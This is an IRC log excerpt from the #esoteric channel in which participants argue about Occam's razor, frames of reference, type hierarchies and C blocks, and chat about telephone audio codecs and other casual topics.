PRIVMSG #esoteric :in my opinion < 1267683906 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont care about your opinion. this is obvious. :P < 1267683911 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :no, it's intuitive < 1267683920 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :which is different from correct < 1267683922 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think reality is simple. < 1267683925 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :see: Paley's watchmaker argument < 1267683931 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fact: reality is not simple < 1267683937 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :his watchmaker argument is unrelated to this. < 1267683941 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :not at all < 1267683944 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes, it is. < 1267683950 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :your falling prey to the exact same fallacy < 1267683954 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no, i'm not. < 1267683962 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because his argument is in FAVOR of simplicity. < 1267683987 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, the argument against his argument, rather. < 1267683998 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :evolutionary biology is simpler than God. < 1267684002 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :this is why paley is wrong. < 1267684014 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :that's not why Paley is wrong < 1267684023 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i just believe occam's razor wholeheartedly < 1267684035 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Paley is wrong because his argument starts with the assumption that the watch is too complex to be natural < 1267684039 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont think occam's razor is a methodological tool, i think its a fact about reality. < 1267684056 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :augur: do you know anything about quantum physics? How the fuck is that simple? < 1267684071 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :augur < 1267684081 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :quantum mechanics is probability in 3 dimensions, or something along those lines. < 1267684096 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :*augur: Think about math. There is a set-theoretical definition of the integers that is just as valid as the version that just uses numerals < 1267684102 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its actually quite beautifully simple when you work it out from a non-historigenic perspective. < 1267684114 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the fact that it is more complex does not make it incorrect < 1267684144 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you can derive the core weirdness of QM almost entirely from taking normal probability and augmenting it with like one extra dimension for degrees of freedom, or something like that. < 1267684166 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :coppro: i didnt say incorrect < 1267684168 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you're not listening < 1267684174 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i said less real. < 1267684217 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :you said less valid < 1267684227 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes, valid, as a model of whats real. < 1267684240 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :This conversation becomes a billion times funnier if I replace "non-historigenic" by "non-hystorigenic" < 1267684252 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which is to say, how close it is to looking like the way the thing actually is < 1267684252 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :valid only has one meaning with regards to theories < 1267684257 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :as I've explained < 1267684268 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :#1: Does it match all observations < 1267684272 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :#2: Does it make predictions < 1267684275 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well luckily the original context of its use in this discussion wasnt in regards to theories! < 1267684285 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sure it was < 1267684289 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but rather in regards to frames of reference < 1267684294 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a frame of reference is not a theory < 1267684295 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :All physical laws are theories < 1267684304 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes but a frame of reference isnt a physical law. < 1267684315 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :In the context in which you are using it, it is < 1267684322 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :we've drifted over into the physical law territory at this point < 1267684323 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes this is true < 1267684358 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but we started with frames of reference, and i assumed that an intelligent person like you would be smart enough to understand that the word was being used to mean the same thing, despite the conventionally different usage when applied to theories < 1267684372 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :now, as I said, a theory could be considered more valid because it makes more predictions < 1267684387 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :as i said coppro, you're wrong. < 1267684392 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :why? < 1267684407 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because the sense of valid i have been using throughout the conversation is the one i started with < 1267684416 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which happens to have been used in a context of frames of reference, not theories < 1267684423 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I disagree that there is any significant difference < 1267684433 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and i dont give a shit < 1267684437 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because there IS a difference. < 1267684442 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a frame of reference is not a theory. < 1267684457 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :therefore your idea of validity for theories is irrelevant. < 1267684460 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :There is a theory of which frame of reference is correct < 1267684469 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if you disagree with this, then were merely arguing over the lexical semantics of the word "valid" < 1267684480 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :in which case this isnt an argument at all < 1267684484 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but rather a miscommunication < 1267684497 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it may be a miscommunication, but the fundamental argument is still there < 1267684502 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but its not < 1267684510 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because a frame of reference is simply not a theory < 1267684536 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :as I do not believe that there is any particular reason why a rotating frame against a static universe is any more real or valid than a static frame against a rotating universe < 1267684554 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :which is your fundamental point < 1267684574 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes, but as ive already said, i believe that there is. < 1267684580 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :whether you AGREE with that or not is not relevant. < 1267684648 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what it comes down to is in many ways theory-related in nature tho, this is definitely true, but again, as ive said even so far as theories are concerned, i believe that two equally accurate theories can differ in how similar the theory-qua-intension reflects the actual structure of reality < 1267684657 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Right, and I do not agree < 1267684660 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :which is the point of this argumen < 1267684662 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :*argument < 1267684667 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :we are arguing over the point I just described < 1267684670 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :how many types of types are there? < 1267684675 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :adu: infinitely many. < 1267684688 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :wow < 1267684721 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :coppro: since there is no actual way to resolve this dispute, as i have said multiple times: your disagreement with what i think doesn't matter. < 1267684736 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :there's gotta be a way to simplify that, like maybe oo/2 or something < 1267684748 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its even worse, adu < 1267684758 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :augur: so now you are not only telling me that I am wrong, but that my opinion does not matter; welcome to /ignore < 1267684766 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :there are as many types as the largest kind of infinity < 1267684774 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and since there is no largest infinity, you're fucked D: < 1267684797 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :coppro: im saying that it doesnt matter because its not something that we can argue over and come to a conclusion. < 1267684817 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :what about constructive type theory, like X is a type, and F is a function type, so F X is a type < 1267684836 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :then there would be 2 types of type < 1267684838 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :that probably doesnt change anything. < 1267684863 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because you can define horizontal types of arbitrary number < 1267684875 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :horizontal?!? < 1267684880 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267684894 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :do you mean different names? < 1267684897 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :within type theory you can view types as existing in two-ish dimensions < 1267684909 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so consider the following types: < 1267684913 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Integer, String, Boolean < 1267684922 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :k < 1267684929 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :now consider Integer -> Boolean, Boolean -> Boolean -> Boolean, etc. < 1267684934 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION considers
< 1267684943 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the latter two are dependent upon the existence of the previous three, right? < 1267684948 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :theyre built out of them, in some sense < 1267684961 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267684968 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :we could describe this relation as a horizontal type distinction < 1267684987 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the differences between Integer, String, and Boolean, however, are not the same < 1267684992 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :they're horizontally related < 1267685001 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :You could imagine a type system with only horizontal types < 1267685009 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. a language in which you dont have function ty < 1267685010 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :types < 1267685024 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :at least, you dont have function types in any salient sense < 1267685054 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. C, in which sure maybe you have function types associated with functions, but function types arent of the same ontological status in the type system as value types are < 1267685094 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you cannot, for instance, do higher order functions, so function types in C arent really things that you can talk about like you can with value types < 1267685105 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you could, however, have the reverse -- a system with only function types < 1267685121 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and one "horizontal" type, in some sense < 1267685134 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :My C compiler offers first-class functions. < 1267685144 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a system in which non-functions are of type Value, and everything else is a function type of some sort < 1267685157 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: C99+yaddayadda whatever it is that they use at apple now? < 1267685168 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Clang. < 1267685178 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I don't have an Apple system. < 1267685179 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the newest versions of C, as forked by apple i think, have higher order functions, which necessitates real function types. which is pretty cool. < 1267685199 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but the point is understandable i think. < 1267685214 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :function types and value types really different in some sense conceptually < 1267685221 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :no, it does not offer first-class functions < 1267685225 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it offers blocks < 1267685240 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :coppro: well, the versions ive seen have first class functions. < 1267685262 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which may be called blocks, but in-language they're indistinguishable from functions, as far as i can tell. < 1267685307 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and are distinct from blocks in the normal sense of the word in programming where the clauses of an if statement are blocks. < 1267685345 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: "Blocks" are a first-class function type. < 1267685354 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Which happen to be distinct form normal functions. < 1267685371 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. From. < 1267685395 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Technically correct, though misleading in the context of C < 1267685416 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :But they're functions and they're first-class values. < 1267685437 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :What more do you want, aside from being able to implicitly cast from function pointers to block pointers? < 1267685457 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(and vice versa) < 1267685596 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :coppro: again, given that the C was used merely as an example to intelligent people capable of understanding the nature of the nit picky details in terminology, it should be relatively clear that your pedantic distinctions are pointless, because we already knew everything you're saying, or would be fully capable of understanding the trivial distinctions being made. < 1267685631 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you seem to have significant problems carrying on normal discourses. < 1267685799 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :this is one of the problems with me being a linguist. ive actually done research on what constitutes successful conversations, and can identify failures, and yet am powerless to correct them. < 1267685902 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1267685944 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267686090 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1267686660 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :http://trololololololololololo.com/ < 1267686663 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :augur: Ouch. < 1267686669 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ey? < 1267686889 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267686931 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :augur: He's a good ... "singer"? Although I'm not convinced that he's human. < 1267686964 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: well, he IS russian. so. < 1267686968 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I'm also not sure what the point of this web site is ... I assumed at some point he'd start going "lol lol lol" and it would just loop him like that forever,. < 1267686972 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :not even russian, he's SOVIET < 1267686992 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :this is an actual video from the soviet union < 1267687003 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so i dont think there needs to be such a thing as you described < 1267687013 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267687151 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Well yeah, it's weird, I just don't get why this web page exists :P < 1267687220 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :gregor < 1267687233 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, that's me. < 1267687236 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :youve been on the web HOW long and still havent realized that webpages dont need reasons? < 1267687240 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267687243 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Touché, sir. < 1267687249 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I bought onero.us and sibeli.us today :P < 1267687262 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :HAVE YA HEARD ABOUT THAT YTMND.COM YET NA? < 1267687272 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That I /really/ don't get. < 1267687647 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1267689216 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1267689599 0 :clog!unknown@unknown.invalid QUIT :ended < 1267689600 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1267693585 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1267693743 0 :MigoMipo!~migomipo@84-217-12-12.tn.glocalnet.net JOIN :#esoteric < 1267694920 0 :lifthrasiir!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1267695126 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1267695326 0 :lifthrasiir!2S9aa0Nd@haje12.kaist.ac.kr JOIN :#esoteric < 1267696366 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267698855 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267699482 0 :Slereah!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267699754 0 :Slereah!~Slereah@ANantes-259-1-77-160.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1267700893 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :argh < 1267700923 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :horrible music interrupted by "you now have place number 5 in the queue" < 1267701545 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(what happened? Well, had to call IBM/Lenvo telephone support, then get told the reseller didn't register with them when the computer was sold, so had to call *their* telephone support as well) < 1267701551 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(the latter had the horrible music) < 1267701643 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(not even the usual simply bad music... Much worse, rap music...) < 1267702117 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Telephone support systems tend to have the oddest audible experiences. < 1267702184 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Compounded by the fact that the codecs used in GSM/3G networks do a really horrible job on any sort of music, they're so heavily speech-optimized. < 1267702885 0 :cheater!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1267703111 0 :cheater!~cheater@62.176.155.187 JOIN :#esoteric < 1267703955 0 :BeholdMyGlory!~behold@d83-183-183-70.cust.tele2.se JOIN :#esoteric < 1267703958 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Changing host < 1267703959 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1267704938 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Compounded by the fact that the codecs used in GSM/3G networks do a really horrible job on any sort of music, they're so heavily speech-optimized. <-- hm? < 1267704951 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I doubt that applies when I used a non-cell phone < 1267704953 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in, land line < 1267704959 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I was sort of assuming a cell phone there. < 1267704967 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why? < 1267704972 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's 2010, man! < 1267704978 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that would be more expensive than using the land line to call < 1267705002 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, but it was a wireless land line phone at least < 1267705015 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I could have used the non-wireless one in the next room instead < 1267705016 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, the current land-line digital networks are a bit speech-optimized too, though not as badly by far. < 1267705019 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :would have been somewhat more awkward < 1267705184 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess the worst part about landline telephone music is that they only transfer frequencies in the [200, 3400] Hz range. < 1267705206 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, GSM/EDGE/3G transfers more? < 1267705215 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :No, they're equally horrible. < 1267705219 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267705240 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267705252 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Except 3G's AMR-WB wideband codec, which goes up to something like 7 kHz, but from what I hear, no operator (except some really strange never-heard country) has actually enabled that in their networks. < 1267705263 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1267705279 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what about low freqs? < 1267705326 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It might have gone a bit lower there too, though I don't really recall. < 1267705390 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I'm able to hit some low notes with my voice (I suck at hitting a specific one _reliably_ though ;)) < 1267705437 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(I can read below 200 Hz pretty easily unless I misremember. But not in everyday speech I guess) < 1267705441 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Humans are pretty good at picking up the "real" pitch from the harmonics even if the transport channel actually filters it, physically speaking. < 1267705449 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/read/hit/ < 1267705460 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(weird typo, was trying to to two things at once) < 1267705482 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, hm interesting. From overtones I guess? < 1267705500 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Case in point: a usual fundamental frequency for normal male speech is around 100 Hz, yet no-one notices that much even though telephone systems generally have a huge attenuation at that low frequencies. < 1267705520 0 :alise!~alise@212.183.140.16 JOIN :#esoteric < 1267705528 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I can hit just above the lowest C on a standard piano with my voice though < 1267705574 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I don't really know very much on the biology side of how auditory perception works, except that the ear is a strange thing, and what goes on after the ear is even less simple. < 1267705595 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't quite reach it. Of course it doesn't actually sound good at the lowest bit. For something I actually could *speak* in it would be maybe one octave higher I guesstimate < 1267705776 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, the "middle C" is around 260 Hz, and I assume that "middle" on the piano; is the lowest C three octaves downward? < 1267705791 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :If it is, that'd be something like 32 Hz. < 1267705803 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Piano_key_frequencies < 1267705819 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, around 32 Hz yes < 1267705858 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Right. That's pretty low. < 1267705890 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I can go past the D just above it, but not quite reach the C or C#. Of course I couldn't actually say anything at this level. Trying to modulate the sound around there to speech just doesn't work. < 1267705912 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a bit above it does work for that. < 1267705944 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, so I hit somewhere between 34 and 36 Hz I guess (since I can't quite reach that C# either) < 1267706029 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ever tried making a noise at the same frequency as the car engine while traveling in car? < 1267706052 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Can't say I have. < 1267706054 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it feels strange when you hit the same tone. < 1267706173 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :19:16:34 you know, I sort of like this channel without alise being here all the time < 1267706173 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I do logread, you know < 1267706254 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, so now you have your mac running I see :) < 1267706273 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Uh, yes, on top of an ironing board. Very sturdy surface. But I had it running last night. < 1267706278 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267706292 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Shit's got terribly, terribly real with my situation so... so, I don't even know what I was going to put here. < 1267706532 0 :cheater!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267706556 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yay, a 5 on the exam on the first sub-course in the electricity and electronics course < 1267706557 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267706562 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION just got the result
< 1267706592 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(the possible values are U, 3, 4, 5, where U is "not passed") < 1267706595 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :21:25:36 suppose that one twin is a pig < 1267706596 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :21:25:40 as in, loves to eat < 1267706596 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :21:25:52 he eats SO MUCH that he eats everything in the universe, except his brother < 1267706596 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :plausible < 1267706618 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, why did augur need to suppose that? < 1267706629 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :argument about relativity, twin paradox < 1267706630 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://tunes.org/~nef/logs/esoteric/10.03.03 < 1267706633 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, also that would include himself < 1267706637 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267706639 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you can't eat yourself. < 1267706656 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, surely you can eat your own leg for example? < 1267706663 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course, other parts may be harder < 1267706695 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh shush :P < 1267706767 0 :cheater!~cheater@62.176.155.187 JOIN :#esoteric < 1267706778 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267706796 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :22:12:06 what do you define as equally valid? < 1267706796 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :augur seems to just be appealing to a sort of ontological notion of "truth beyond truth" < 1267706812 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i.e., one truth being /more/ truthy than other truths by way of being more "inherently objective" to the situation < 1267706816 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's just my hunch from reading it though < 1267706974 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I don't believe there is an inherent link of simplicity and correctness; that's just a heuristic we use for estimating probability and reasoning and doing science < 1267707048 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :22:27:19 i dont think occam's razor is a methodological tool, i think its a fact about reality. < 1267707048 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :delusional < 1267707103 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :didn't Occam himself use occam's razor for "proving" the existence of god iirc? < 1267707121 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :22:30:52 which is to say, how close it is to looking like the way the thing actually is < 1267707121 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You can only measure this with metaphysics < 1267707130 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ^ < 1267707136 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Things "actually are" a theory if it predicts them perfectly < 1267707154 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Any other distinction is human intuition, and we can select equivalently valid theories based on how much we like them (e.g. simplicity for working with) < 1267707155 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That's all. < 1267707193 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :22:37:50 how many types of types are there? < 1267707194 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Set : Set1 < 1267707196 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Set1 : Set2 < 1267707197 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and so on < 1267707211 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267707221 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, countably infinite then? < 1267707230 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh wait, no < 1267707230 0 :alise!unknown@unknown.invalid PRIVMSG 